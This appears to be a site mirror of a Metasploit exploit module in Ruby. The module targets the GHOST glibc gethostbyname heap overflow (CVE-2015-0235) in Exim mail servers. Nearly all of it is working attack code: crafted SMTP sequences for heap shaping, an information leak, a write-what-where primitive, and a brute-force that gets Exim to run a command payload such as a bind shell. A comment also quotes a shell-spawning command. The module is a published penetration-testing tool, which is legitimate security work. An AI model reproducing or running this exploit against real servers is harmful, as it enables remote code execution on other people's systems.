Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'Exim GHOST (glibc gethostbyname) Buffer Overflow',13'Description' => %q{14This module remotely exploits CVE-2015-0235, aka GHOST, a heap-based15buffer overflow in the GNU C Library's gethostbyname functions on x8616and x86_64 GNU/Linux systems that run the Exim mail server.17},18'Author' => [19'Unknown', # Discovered and published by Qualys, Inc.20],21'License' => BSD_LICENSE,22'References' => [23['CVE', '2015-0235'],24['US-CERT-VU', '967332'],25['OSVDB', '117579'],26['BID', '72325'],27['URL', 'https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt'],28['URL', 'https://community.qualys.com/blogs/laws-of-vulnerabilities/2015/01/27/the-ghost-vulnerability'],29['URL', 'http://r-7.co/1CAnMc0'] # MSF Wiki doc (this module's manual)30],31'DisclosureDate' => '2015-01-27',32'Privileged' => false, # uid=101(Debian-exim) gid=103(Debian-exim) groups=103(Debian-exim)33'Platform' => 'unix', # actually 'linux', but we execute a unix-command payload34'Arch' => ARCH_CMD, # actually [ARCH_X86, ARCH_X64], but ^35'Payload' => {36'Space' => 255, # the shorter the payload, the higher the probability of code execution37'BadChars' => "", # we encode the payload ourselves, because ^38'DisableNops' => true,39'ActiveTimeout' => 24*60*60 # we may need more than 150 s to execute our bind-shell40},41'Notes' => {'AKA' => ['ghost']},42'Targets' => [['Automatic', {}]],43'DefaultTarget' => 044))4546register_options([47Opt::RPORT(25),48OptAddress.new('SENDER_HOST_ADDRESS', [true,49'The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)', nil])50])5152register_advanced_options([53OptBool.new('FORCE_EXPLOIT', [false, 'Let the exploit run anyway without the check first', nil])54])55end5657def check58# for now, no information about the vulnerable state of the target59check_code = Exploit::CheckCode::Unknown6061begin62# not exploiting, just checking63smtp_connect(false)6465# malloc()ate gethostbyname's buffer, and66# make sure its next_chunk isn't the top chunk67689.times do69smtp_send("HELO ", "", "0", "", "", 1024+16-1+0)70smtp_recv(HELO_CODES)71end7273# overflow (4 bytes) gethostbyname's buffer, and74# overwrite its next_chunk's size field with 0x003030307576smtp_send("HELO ", "", "0", "", "", 1024+16-1+4)77# from now on, an exception means vulnerable78check_code = Exploit::CheckCode::Vulnerable79# raise an exception if no valid SMTP reply80reply = smtp_recv(ANY_CODE)81# can't determine vulnerable state if smtp_verify_helo() isn't called82return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/8384# realloc()ate gethostbyname's buffer, and85# crash (old glibc) or abort (new glibc)86# on the overwritten size field8788smtp_send("HELO ", "", "0", "", "", 2048-16-1+4)89# raise an exception if no valid SMTP reply90reply = smtp_recv(ANY_CODE)91# can't determine vulnerable state if smtp_verify_helo() isn't called92return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/93# a vulnerable target should've crashed by now94check_code = Exploit::CheckCode::Safe9596rescue97peer = "#{rhost}:#{rport}"98vprint_status("Caught #{$!.class}: #{$!.message}")99100ensure101smtp_disconnect102end103104return check_code105end106107def exploit108unless datastore['FORCE_EXPLOIT']109print_status("Checking if target is vulnerable...")110fail_with(Failure::NotVulnerable, "Vulnerability check failed") if check != Exploit::CheckCode::Vulnerable111print_good("Target is vulnerable.")112end113information_leak114code_execution115end116117private118119HELO_CODES = '250|451|550'120ANY_CODE = '[0-9]{3}'121122MIN_HEAP_SHIFT = 80123MIN_HEAP_SIZE = 128 * 1024124MAX_HEAP_SIZE = 1024 * 1024125126# Exim127ALIGNMENT = 8128STORE_BLOCK_SIZE = 8192129STOREPOOL_MIN_SIZE = 256130131LOG_BUFFER_SIZE = 8192132BIG_BUFFER_SIZE = 16384133134SMTP_CMD_BUFFER_SIZE = 16384135IN_BUFFER_SIZE = 8192136137# GNU C Library138PREV_INUSE = 0x1139NS_MAXDNAME = 1025140141# Linux142MMAP_MIN_ADDR = 65536143144def fail_with(fail_subject, message)145message = "#{message}. For more info: http://r-7.co/1CAnMc0"146super(fail_subject, message)147end148149def information_leak150print_status("Trying information leak...")151leaked_arch = nil152leaked_addr = []153154# try different heap_shift values, in case Exim's heap address contains155# bad chars (NUL, CR, LF) and was mangled during the information leak;156# we'll keep the longest one (the least likely to have been truncated)15715816.times do159done = catch(:another_heap_shift) do160heap_shift = MIN_HEAP_SHIFT + (rand(1024) & ~15)161vprint_status("#{{ heap_shift: heap_shift }}")162163# write the malloc_chunk header at increasing offsets (8-byte step),164# until we overwrite the "503 sender not yet given" error message165166128.step(256, 8) do |write_offset|167error = try_information_leak(heap_shift, write_offset)168vprint_status("#{{ write_offset: write_offset, error: error }}")169throw(:another_heap_shift) if not error170next if error == "503 sender not yet given"171172# try a few more offsets (allows us to double-check things,173# and distinguish between 32-bit and 64-bit machines)174175error = [error]1761.upto(5) do |i|177error[i] = try_information_leak(heap_shift, write_offset + i*8)178throw(:another_heap_shift) if not error[i]179end180vprint_status("#{{ error: error }}")181182_leaked_arch = leaked_arch183if (error[0] == error[1]) and (error[0].empty? or (error[0].unpack('C')[0] & 7) == 0) and # fd_nextsize184(error[2] == error[3]) and (error[2].empty? or (error[2].unpack('C')[0] & 7) == 0) and # fd185(error[4] =~ /\A503 send[^e].?\z/mn) and ((error[4].unpack('C*')[8] & 15) == PREV_INUSE) and # size186(error[5] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()187leaked_arch = ARCH_X64188189elsif (error[0].empty? or (error[0].unpack('C')[0] & 3) == 0) and # fd_nextsize190(error[1].empty? or (error[1].unpack('C')[0] & 3) == 0) and # fd191(error[2] =~ /\A503 [^s].?\z/mn) and ((error[2].unpack('C*')[4] & 7) == PREV_INUSE) and # size192(error[3] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()193leaked_arch = ARCH_X86194195else196throw(:another_heap_shift)197end198vprint_status("#{{ leaked_arch: leaked_arch }}")199fail_with(Failure::BadConfig, "arch changed") if _leaked_arch and _leaked_arch != leaked_arch200201# try different large-bins: most of them should be empty,202# so keep the most frequent fd_nextsize address203# (a pointer to the malloc_chunk itself)204205count = Hash.new(0)2060.upto(9) do |last_digit|207error = try_information_leak(heap_shift, write_offset, last_digit)208next if not error or error.length < 2 # heap_shift can fix the 2 least significant NUL bytes209next if (error.unpack('C')[0] & (leaked_arch == ARCH_X86 ? 7 : 15)) != 0 # MALLOC_ALIGN_MASK210count[error] += 1211end212vprint_status("#{{ count: count }}")213throw(:another_heap_shift) if count.empty?214215# convert count to a nested array of [key, value] arrays and sort it216error_count = count.sort { |a, b| b[1] <=> a[1] }217error_count = error_count.first # most frequent218error = error_count[0]219count = error_count[1]220throw(:another_heap_shift) unless count >= 6 # majority221leaked_addr.push({ error: error, shift: heap_shift })222223# common-case shortcut224if (leaked_arch == ARCH_X86 and error[0,4] == error[4,4] and error[8..-1] == "er not yet given") or225(leaked_arch == ARCH_X64 and error.length == 6 and error[5].count("\x7E-\x7F").nonzero?)226leaked_addr = [leaked_addr.last] # use this one, and not another227throw(:another_heap_shift, true) # done228end229throw(:another_heap_shift)230end231throw(:another_heap_shift)232end233break if done234end235236fail_with(Failure::NotVulnerable, "not vuln? old glibc? (no leaked_arch)") if leaked_arch.nil?237fail_with(Failure::NotVulnerable, "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr.empty?238239leaked_addr.sort! { |a, b| b[:error].length <=> a[:error].length }240leaked_addr = leaked_addr.first # longest241error = leaked_addr[:error]242shift = leaked_addr[:shift]243244leaked_addr = 0245(leaked_arch == ARCH_X86 ? 4 : 8).times do |i|246break if i >= error.length247leaked_addr += error.unpack('C*')[i] * (2**(i*8))248end249# leaked_addr should point to the beginning of Exim's smtp_cmd_buffer:250leaked_addr -= 2*SMTP_CMD_BUFFER_SIZE + IN_BUFFER_SIZE + 4*(11*1024+shift) + 3*1024 + STORE_BLOCK_SIZE251fail_with(Failure::NoTarget, "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr <= MMAP_MIN_ADDR252253print_good("Successfully leaked_arch: #{leaked_arch}")254print_good("Successfully leaked_addr: #{leaked_addr.to_s(16)}")255@leaked = { arch: leaked_arch, addr: leaked_addr }256end257258def try_information_leak(heap_shift, write_offset, last_digit = 9)259fail_with(Failure::BadConfig, "heap_shift") if (heap_shift < MIN_HEAP_SHIFT)260fail_with(Failure::BadConfig, "heap_shift") if (heap_shift & 15) != 0261fail_with(Failure::BadConfig, "write_offset") if (write_offset & 7) != 0262fail_with(Failure::BadConfig, "last_digit") if "#{last_digit}" !~ /\A[0-9]\z/263264smtp_connect265266# bulletproof Heap Feng Shui; the hard part is avoiding:267# "Too many syntax or protocol errors" (3)268# "Too many unrecognized commands" (3)269# "Too many nonmail commands" (10)270271smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 11*1024+13-1 + heap_shift)272smtp_recv(250)273274smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1)275smtp_recv(250)276277smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1)278smtp_recv(250)279280smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 8*1024+16+13-1)281smtp_recv(250)282283smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+16+13-1)284smtp_recv(250)285286# overflow (3 bytes) gethostbyname's buffer, and287# overwrite its next_chunk's size field with 0x003?31288# ^ last_digit289smtp_send("HELO ", "", "0", ".1#{last_digit}", "", 12*1024+3-1 + heap_shift-MIN_HEAP_SHIFT)290begin # ^ 0x30 | PREV_INUSE291smtp_recv(HELO_CODES)292293smtp_send("RSET")294smtp_recv(250)295296smtp_send("RCPT TO:", "", method(:rand_text_alpha), "\x7F", "", 15*1024)297smtp_recv(503, 'sender not yet given')298299smtp_send("", "BAD1 ", method(:rand_text_alpha), "\x7F\x7F\x7F\x7F", "", 10*1024-16-1 + write_offset)300smtp_recv(500, '\A500 unrecognized command\r\n\z')301302smtp_send("BAD2 ", "", method(:rand_text_alpha), "\x7F", "", 15*1024)303smtp_recv(500, '\A500 unrecognized command\r\n\z')304305smtp_send("DATA")306reply = smtp_recv(503)307308lines = reply[:lines]309fail if lines.size <= 3310fail if lines[+0] != "503-All RCPT commands were rejected with this error:\r\n"311fail if lines[-2] != "503-valid RCPT command must precede DATA\r\n"312fail if lines[-1] != "503 Too many syntax or protocol errors\r\n"313314# if leaked_addr contains LF, reverse smtp_respond()'s multiline splitting315# (the "while (isspace(*msg)) msg++;" loop can't be easily reversed,316# but happens with lower probability)317318error = lines[+1..-3].join("")319error.sub!(/\A503-/mn, "")320error.sub!(/\r\n\z/mn, "")321error.gsub!(/\r\n503-/mn, "\n")322return error323324rescue325return nil326end327328ensure329smtp_disconnect330end331332def code_execution333print_status("Trying code execution...")334335# can't "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} " anymore:336# DW/26 Set FD_CLOEXEC on SMTP sockets after forking in the daemon, to ensure337# that rogue child processes cannot use them.338339fail_with(Failure::BadConfig, "encoded payload") if payload.raw != payload.encoded340fail_with(Failure::BadConfig, "invalid payload") if payload.raw.empty? or payload.raw.count("^\x20-\x7E").nonzero?341# Exim processes our run-ACL with expand_string() first (hence the [\$\{\}\\] escapes),342# and transport_set_up_command(), string_dequote() next (hence the [\"\\] escapes).343encoded = payload.raw.gsub(/[\"\\]/, '\\\\\\&').gsub(/[\$\{\}\\]/, '\\\\\\&')344# setsid because of Exim's "killpg(pid, SIGKILL);" after "alarm(60);"345command = '${run{/usr/bin/env setsid /bin/sh -c "' + encoded + '"}}'346vprint_status("Command: #{command}")347348# don't try to execute commands directly, try a very simple ACL first,349# to distinguish between exploitation-problems and shellcode-problems350351acldrop = "drop message="352message = rand_text_alpha(command.length - acldrop.length)353acldrop += message354355max_rand_offset = (@leaked[:arch] == ARCH_X86 ? 32 : 64)356max_heap_addr = @leaked[:addr]357min_heap_addr = nil358survived = nil359360# we later fill log_buffer and big_buffer with alpha chars,361# which creates a safe-zone at the beginning of the heap,362# where we can't possibly crash during our brute-force363364# 4, because 3 copies of sender_helo_name, and step_len;365# start big, but refine little by little in case366# we crash because we overwrite important data367368helo_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) / 4369loop do370371sender_helo_name = "A" * helo_len372address = sprintf("[%s]:%d", @sender[:hostaddr], 65535)373374# the 3 copies of sender_helo_name, allocated by375# host_build_sender_fullhost() in POOL_PERM memory376377helo_ip_size = ALIGNMENT +378sender_helo_name[+1..-2].length379380sender_fullhost_size = ALIGNMENT +381sprintf("%s (%s) %s", @sender[:hostname], sender_helo_name, address).length382383sender_rcvhost_size = ALIGNMENT + ((@sender[:ident] == nil) ?384sprintf("%s (%s helo=%s)", @sender[:hostname], address, sender_helo_name) :385sprintf("%s\n\t(%s helo=%s ident=%s)", @sender[:hostname], address, sender_helo_name, @sender[:ident])386).length387388# fit completely into the safe-zone389step_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) -390(max_rand_offset + helo_ip_size + sender_fullhost_size + sender_rcvhost_size)391loop do392393# inside smtp_cmd_buffer (we later fill smtp_cmd_buffer and smtp_data_buffer394# with alpha chars, which creates another safe-zone at the end of the heap)395heap_addr = max_heap_addr396loop do397398# try harder the first time around: we obtain better399# heap boundaries, and we usually hit our ACL faster400401(min_heap_addr ? 1 : 2).times do402403# try the same heap_addr several times, but with different random offsets,404# in case we crash because our hijacked storeblock's length field is too small405# (we don't control what's stored at heap_addr)406407rand_offset = rand(max_rand_offset)408vprint_status("#{{ helo: helo_len, step: step_len, addr: heap_addr.to_s(16), offset: rand_offset }}")409reply = try_code_execution(helo_len, acldrop, heap_addr + rand_offset)410vprint_status("#{{ reply: reply }}") if reply411412if reply and413reply[:code] == "550" and414# detect the parsed ACL, not the "still in text form" ACL (with "=")415reply[:lines].join("").delete("^=A-Za-z") =~ /(\A|[^=])#{message}/mn416print_good("Brute-force SUCCESS")417print_good("Please wait for reply...")418# execute command this time, not acldrop419reply = try_code_execution(helo_len, command, heap_addr + rand_offset)420vprint_status("#{{ reply: reply }}")421return handler422end423424if not min_heap_addr425if reply426fail_with(Failure::BadConfig, "no min_heap_addr") if (max_heap_addr - heap_addr) >= MAX_HEAP_SIZE427survived = heap_addr428else429if ((survived ? survived : max_heap_addr) - heap_addr) >= MIN_HEAP_SIZE430# survived should point to our safe-zone at the beginning of the heap431fail_with(Failure::UnexpectedReply, "never survived") if not survived432print_good "Brute-forced min_heap_addr: #{survived.to_s(16)}"433min_heap_addr = survived434end435end436end437end438439heap_addr -= step_len440break if min_heap_addr and heap_addr < min_heap_addr441end442443break if step_len < 1024444step_len /= 2445end446447helo_len /= 2448break if helo_len < 1024449# ^ otherwise the 3 copies of sender_helo_name will450# fit into the current_block of POOL_PERM memory451end452fail_with(Failure::UnexpectedReply, "Brute-force FAILURE")453end454455# our write-what-where primitive456def try_code_execution(len, what, where)457fail_with(Failure::UnexpectedReply, "#{what.length} >= #{len}") if what.length >= len458fail_with(Failure::UnexpectedReply, "#{where} < 0") if where < 0459460x86 = (@leaked[:arch] == ARCH_X86)461min_heap_shift = (x86 ? 512 : 768) # at least request2size(sizeof(FILE))462heap_shift = min_heap_shift + rand(1024 - min_heap_shift)463last_digit = 1 + rand(9)464465smtp_connect466467# fill smtp_cmd_buffer, smtp_data_buffer, and big_buffer with alpha chars468smtp_send("MAIL FROM:", "", method(:rand_text_alpha), "<#{rand_text_alpha_upper(8)}>", "", BIG_BUFFER_SIZE -469"501 : sender address must contain a domain\r\n\0".length)470smtp_recv(501, 'sender address must contain a domain')471472smtp_send("RSET")473smtp_recv(250)474475# bulletproof Heap Feng Shui; the hard part is avoiding:476# "Too many syntax or protocol errors" (3)477# "Too many unrecognized commands" (3)478# "Too many nonmail commands" (10)479480# / 5, because "\x7F" is non-print, and:481# ss = store_get(length + nonprintcount * 4 + 1);482smtp_send("BAD1 ", "", "\x7F", "", "", (19*1024 + heap_shift) / 5)483smtp_recv(500, '\A500 unrecognized command\r\n\z')484485smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+13-1)486smtp_recv(250)487488smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1)489smtp_recv(250)490491smtp_send("BAD2 ", "", "\x7F", "", "", (13*1024 + 128) / 5)492smtp_recv(500, '\A500 unrecognized command\r\n\z')493494smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1)495smtp_recv(250)496497# overflow (3 bytes) gethostbyname's buffer, and498# overwrite its next_chunk's size field with 0x003?31499# ^ last_digit500smtp_send("EHLO ", "", "0", ".1#{last_digit}", "", 5*1024+64+3-1)501smtp_recv(HELO_CODES) # ^ 0x30 | PREV_INUSE502503# auth_xtextdecode() is the only way to overwrite the beginning of a504# current_block of memory (the "storeblock" structure) with arbitrary data505# (so that our hijacked "next" pointer can contain NUL, CR, LF characters).506# this shapes the rest of our exploit: we overwrite the beginning of the507# current_block of POOL_PERM memory with the current_block of POOL_MAIN508# memory (allocated by auth_xtextdecode()).509510auth_prefix = rand_text_alpha(x86 ? 11264 : 11280)511(x86 ? 4 : 8).times { |i| auth_prefix += sprintf("+%02x", (where >> (i*8)) & 255) }512auth_prefix += "."513514# also fill log_buffer with alpha chars515smtp_send("MAIL FROM:<> AUTH=", auth_prefix, method(:rand_text_alpha), "+", "", 0x3030)516smtp_recv(501, 'invalid data for AUTH')517518smtp_send("HELO ", "[1:2:3:4:5:6:7:8%eth0:", " ", "#{what}]", "", len)519begin520reply = smtp_recv(ANY_CODE)521return reply if reply[:code] !~ /#{HELO_CODES}/522return reply if reply[:code] != "250" and reply[:lines].first !~ /argument does not match calling host/523524smtp_send("MAIL FROM:<>")525reply = smtp_recv(ANY_CODE)526return reply if reply[:code] != "250"527528smtp_send("RCPT TO:<postmaster>")529reply = smtp_recv530return reply531532rescue533return nil534end535536ensure537smtp_disconnect538end539540DIGITS = '([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])'541DOT = '[.]'542543def smtp_connect(exploiting = true)544fail_with(Failure::Unknown, "sock isn't nil") if sock545546connect547fail_with(Failure::Unknown, "sock is nil") if not sock548@smtp_state = :recv549550# Receiving the banner (but we don't really need to check it)551smtp_recv(220)552return if not exploiting553554sender_host_address = datastore['SENDER_HOST_ADDRESS']555if sender_host_address !~ /\A#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}\z/556fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (nil)") if sender_host_address.nil?557fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)")558end559sender_host_address_octal = "0" + $1.to_i.to_s(8) + ".#{$2}.#{$3}.#{$4}"560561# turn helo_seen on (enable the MAIL command)562# call smtp_verify_helo() (force fopen() and small malloc()s)563# call host_find_byname() (force gethostbyname's initial 1024-byte malloc())564smtp_send("HELO #{sender_host_address_octal}")565reply = smtp_recv(HELO_CODES)566567if reply[:code] != "250"568fail_with(Failure::NoTarget, "not Exim?") if reply[:lines].first !~ /argument does not match calling host/569fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (helo_verify_hosts)")570end571572if reply[:lines].first =~ /\A250 (\S*) Hello (.*) \[(\S*)\]\r\n\z/mn573fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)") if sender_host_address != $3574smtp_active_hostname = $1575sender_host_name = $2576577if sender_host_name =~ /\A(.*) at (\S*)\z/mn578sender_host_name = $2579sender_ident = $1580else581sender_ident = nil582end583fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (no FCrDNS)") if sender_host_name == sender_host_address_octal584585else586# can't double-check sender_host_address here, so only for advanced users587fail_with(Failure::BadConfig, "user-supplied EHLO greeting") unless datastore['FORCE_EXPLOIT']588# worst-case scenario589smtp_active_hostname = "A" * NS_MAXDNAME590sender_host_name = "A" * NS_MAXDNAME591sender_ident = "A" * 127 * 4 # sender_ident = string_printing(string_copyn(p, 127));592end593594_sender = @sender595@sender = {596hostaddr: sender_host_address,597hostaddr8: sender_host_address_octal,598hostname: sender_host_name,599ident: sender_ident,600__smtp_active_hostname: smtp_active_hostname601}602fail_with(Failure::BadConfig, "sender changed") if _sender and _sender != @sender603604# avoid a future pathological case by forcing it now:605# "Do NOT free the first successor, if our current block has less than 256 bytes left."606smtp_send("MAIL FROM:", "<", method(:rand_text_alpha), ">", "", STOREPOOL_MIN_SIZE + 16)607smtp_recv(501, 'sender address must contain a domain')608609smtp_send("RSET")610smtp_recv(250, 'Reset OK')611end612613def smtp_send(prefix, arg_prefix = nil, arg_pattern = nil, arg_suffix = nil, suffix = nil, arg_length = nil)614fail_with(Failure::BadConfig, "state is #{@smtp_state}") if @smtp_state != :send615@smtp_state = :sending616617if not arg_pattern618fail_with(Failure::BadConfig, "prefix is nil") if not prefix619fail_with(Failure::BadConfig, "param isn't nil") if arg_prefix or arg_suffix or suffix or arg_length620command = prefix621622else623fail_with(Failure::BadConfig, "param is nil") unless prefix and arg_prefix and arg_suffix and suffix and arg_length624length = arg_length - arg_prefix.length - arg_suffix.length625fail_with(Failure::BadConfig, "smtp_send", "len is #{length}") if length <= 0626argument = arg_prefix627case arg_pattern628when String629argument += arg_pattern * (length / arg_pattern.length)630argument += arg_pattern[0, length % arg_pattern.length]631when Method632argument += arg_pattern.call(length)633end634argument += arg_suffix635fail_with(Failure::BadConfig, "arglen is #{argument.length}, not #{arg_length}") if argument.length != arg_length636command = prefix + argument + suffix637end638639fail_with(Failure::BadConfig, "invalid char in cmd") if command.count("^\x20-\x7F") > 0640fail_with(Failure::BadConfig, "cmdlen is #{command.length}") if command.length > SMTP_CMD_BUFFER_SIZE641command += "\n" # RFC says CRLF, but squeeze as many chars as possible in smtp_cmd_buffer642643# the following loop works around a bug in the put() method:644# "while (send_idx < send_len)" should be "while (send_idx < buf.length)"645# (or send_idx and/or send_len could be removed altogether, like here)646647while command and not command.empty?648num_sent = sock.put(command)649fail_with(Failure::BadConfig, "sent is #{num_sent}") if num_sent <= 0650fail_with(Failure::BadConfig, "sent is #{num_sent}, greater than #{command.length}") if num_sent > command.length651command = command[num_sent..-1]652end653654@smtp_state = :recv655end656657def smtp_recv(expected_code = nil, expected_data = nil)658fail_with(Failure::BadConfig, "state is #{@smtp_state}") if @smtp_state != :recv659@smtp_state = :recving660661failure = catch(:failure) do662663# parse SMTP replies very carefully (the information664# leak injects arbitrary data into multiline replies)665666data = ""667while data !~ /(\A|\r\n)[0-9]{3}[ ].*\r\n\z/mn668begin669more_data = sock.get_once670rescue671throw(:failure, "Caught #{$!.class}: #{$!.message}")672end673throw(:failure, "no more data") if more_data.nil?674throw(:failure, "no more data") if more_data.empty?675data += more_data676end677678throw(:failure, "malformed reply (count)") if data.count("\0") > 0679lines = data.scan(/(?:\A|\r\n)[0-9]{3}[ -].*?(?=\r\n(?=[0-9]{3}[ -]|\z))/mn)680throw(:failure, "malformed reply (empty)") if lines.empty?681682code = nil683lines.size.times do |i|684lines[i].sub!(/\A\r\n/mn, "")685lines[i] += "\r\n"686687if i == 0688code = lines[i][0,3]689throw(:failure, "bad code") if code !~ /\A[0-9]{3}\z/mn690if expected_code and code !~ /\A(#{expected_code})\z/mn691throw(:failure, "unexpected #{code}, expected #{expected_code}")692end693end694695line_begins_with = lines[i][0,4]696line_should_begin_with = code + (i == lines.size-1 ? " " : "-")697698if line_begins_with != line_should_begin_with699throw(:failure, "line begins with #{line_begins_with}, " \700"should begin with #{line_should_begin_with}")701end702end703704throw(:failure, "malformed reply (join)") if lines.join("") != data705if expected_data and data !~ /#{expected_data}/mn706throw(:failure, "unexpected data")707end708709reply = { code: code, lines: lines }710@smtp_state = :send711return reply712end713714fail_with(Failure::UnexpectedReply, "#{failure}") if expected_code715return nil716end717718def smtp_disconnect719disconnect if sock720fail_with(Failure::Unknown, "sock isn't nil") if sock721@smtp_state = :disconnected722end723end724725726